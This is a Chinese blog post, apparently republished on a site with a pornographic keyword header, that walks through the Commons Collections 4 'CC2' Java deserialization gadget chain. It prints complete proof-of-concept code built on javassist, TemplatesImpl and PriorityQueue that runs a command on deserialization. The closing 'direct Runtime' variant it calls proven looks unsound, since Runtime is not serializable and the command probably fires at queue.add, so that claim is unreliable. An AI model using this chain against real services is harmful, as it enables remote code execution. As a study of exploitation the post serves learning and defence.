日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

“白痴“上帝视角调节反序列化链之CC2

發(fā)布時間:2025/3/21 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 “白痴“上帝视角调节反序列化链之CC2 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.


說是白癡上帝視角的原因在于我們拿到了poc,模擬不知道任何細(xì)節(jié),去分析這個漏洞的形成原因。也可以說半黑盒狀態(tài),主要是鍛煉一下分析能力。CC1的分析已經(jīng)在之前的文章發(fā)過了。主要是拿來入門的,現(xiàn)在我們分析一下CC2.這篇文章也是重構(gòu),很早之前分析了一次,但是當(dāng)時水平比現(xiàn)在還低,所以很多地方還不夠清楚。現(xiàn)在重新分析一下。需要涉及到以下的知識點

javassist動態(tài)編程(主要是字節(jié)碼修改操作,把他可以看成一個加強(qiáng)版的反射)

本來開始直接跟著poc調(diào)的,poc不是特別的友好,很多地方不清楚,那我們還是借助poc逆向來分析吧。

poc import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;public class cc2 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("e0mlja");payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);PriorityQueue queue = new PriorityQueue(2);queue.add(1);queue.add(1);Field field2=queue.getClass().getDeclaredField("comparator");field2.setAccessible(true);field2.set(queue,comparator);Field field3=queue.getClass().getDeclaredField("queue");field3.setAccessible(true);field3.set(queue,new Object[]{templatesImpl,templatesImpl});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();} }

了解反序列化的都知道,最終是調(diào)用了重寫的ReadObject導(dǎo)致了反序列化。所以這里我們看看是PriorityQueue這個類導(dǎo)致了反序列化。我們看看他的ReadObject方法。

方法不大,仔細(xì)看看忍一下。heapify()特別矚目(其實是因為沒啥看的了)跟進(jìn)去看看

siftDown

siftDownUsingComparator


這里我能火速的標(biāo)記出來是因為之前已經(jīng)調(diào)過了。跟到這里,comparetor調(diào)用了compare()方法,再進(jìn)去就是進(jìn)接口了。所以這里我們暫放一下,思考一下。是不是某個comparator接口的實現(xiàn)類或者實現(xiàn)類的子類賦值給了comparator(),其中他的compare()調(diào)用了其他的一些列方法導(dǎo)致了反序列化鏈?這里說說兩個方法
(1)尋找Comparator的實現(xiàn)類,并且有compare()方法的類去找找。
(2)直接看poc,看看別人找到了哪個類。
本著說道做到的原則,說了當(dāng)咸魚就要躺到底,這一期當(dāng)個白癡,直接看poc里給了哪個類。

看看這個類有哪些東西。臥槽?compare()方法里調(diào)用了transform,然后 this.transformer構(gòu)造方法賦值我們可控。可真是小刀劃屁股,著實讓人開了眼。

來驗證一下,自己寫一個類hello,里面的e0mlja方法會彈出計算器。 import java.io.IOException; import java.io.Serializable;public class hello implements Serializable {public void e0mlja(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}} } //修改pochello h = new hello();InvokerTransformer transformer=new InvokerTransformer("e0mlja",null,null);TransformingComparator comparator =new TransformingComparator(transformer);//使用TrPriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);queue.add(h);queue.add(h);//使用指定的初始容量創(chuàng)建一個 PriorityQueue,并根據(jù)其自然順序?qū)υ剡M(jìn)行排序。Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{hello.class,hello.class});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject(); //這里反射調(diào)用修改queue字段的原因是找了一下沒有方法可以直接賦值。看看效果


不錯,成功了。想一下我們現(xiàn)在有的東西,能夠通過反序列化PriorityQueue,實現(xiàn)任一類的方法某個調(diào)用了。但前提是我們這個類必須要可序列化。我們從CC1知道,Runtime是不能直接序列化的。所以這里要利用CC1的話必須要構(gòu)造transformerChain傳入PriorityQueue中,但是很遺憾,類型轉(zhuǎn)換失敗,所以我們要尋找其他的出路了。其實我們的需求現(xiàn)在已經(jīng)比較低了。我們自己寫了一個類上去,現(xiàn)實中肯定沒有開發(fā)敢這么寫,第二天可能就要跑路。所以我們現(xiàn)在找一個辦法,能夠動態(tài)生成一個類,也可以打到一樣的效果,這就用到了javassist動態(tài)編程了。這里不多介紹,以往文章應(yīng)該發(fā)了,沒法的話后續(xù)補(bǔ)上。有人可能會疑惑了,為啥不能直接生成一個新的類,添加方法。這是動態(tài)編程可以完成的。但是我們要知道生成的類是沒有class的,需要調(diào)用修改都要用反射,所以是找不到我們想要執(zhí)行的方法的。這里我們可以尋找一個其他的可以反序列化類,來生成這個對象。
這里選擇了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的newTransformer()來實現(xiàn)。我們來看看這個類

這幾個涉及方法的,我們都跟進(jìn)去看看

最終發(fā)現(xiàn)了newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance()。也就是說利用這條鏈子來加載并實例化了一個類。(注意,我們采用javassist生成的類的方法是靜態(tài)方法,類在實例化的時候就會調(diào)用。)流程差不多清楚了,現(xiàn)在來看看我們要實現(xiàn)這個鏈子還需要什么條件。
getTransletInstance() 不需要任何條件即可執(zhí)行
defineTransletClasses() (1) _name不為空 _class為空(構(gòu)造方法中賦值,不傳就行了)。
loader.defineClass(_bytecodes[i]) (1)_bytecodes不為空 (2)超類需要為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。




來看看構(gòu)造完成后,在getTransletInstance()調(diào)用了newInstance()完成了類的實例化,執(zhí)行了我們的惡意代碼。

來看一下調(diào)用鏈 getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) transform:129, InvokerTransformer (org.apache.commons.collections4.functors) compare:81, TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1909, ObjectInputStream (java.io) readOrdinaryObject:1808, ObjectInputStream (java.io) readObject0:1353, ObjectInputStream (java.io) readObject:373, ObjectInputStream (java.io) main:59, CC2

(1)最后總結(jié)一下。我們首先是在重構(gòu)的PriorityQueue.readObject里面找到了heapify()方法。
(2)通過heapify()->siftDown()->siftDownUsingComparator()->Comparator.compare()實現(xiàn)了一條命令執(zhí)行鏈,但是由于沒有辦法生成新的類,所以還需要找一個任意生成類的鏈子。
(3)newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance(),通過這里,我們能將利用javassist動態(tài)生成的類的字節(jié)碼傳入到其中,實例化一個類調(diào)用我們定義的方法,造成任意命令執(zhí)行。
這里突發(fā)奇想,如果說我直接將Runtime作為對象傳入,然后動態(tài)調(diào)整這個CC鏈,是不是就不需要動態(tài)編程這一步了,直接就可以命令執(zhí)行?事實證明,是可行的。

import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.CtNewMethod; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue;public class test_e0m {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new String[]{"calc.exe"});TransformingComparator comparator =new TransformingComparator(invokerTransformer);//使用TrPriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);queue.add(runtime);queue.add(runtime);//使用指定的初始容量創(chuàng)建一個 PriorityQueue,并根據(jù)其自然順序?qū)υ剡M(jìn)行排序。Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{Runtime.class,Runtime.class});ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();} }

談了一下,這種方法的不便之處在于只能命令執(zhí)行,需要實現(xiàn)什么得自己去找。javassist能夠動態(tài)生成一個函數(shù)。但是需要依賴第三方累。當(dāng)我們想要依賴的類不存在就用不起。用這個能夠直接執(zhí)行命令,但是對于一些不出網(wǎng)的情況,用起來就惱火,直接出網(wǎng)的能直接用。

學(xué)習(xí)攻略

總結(jié)

以上是生活随笔為你收集整理的“白痴“上帝视角调节反序列化链之CC2的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。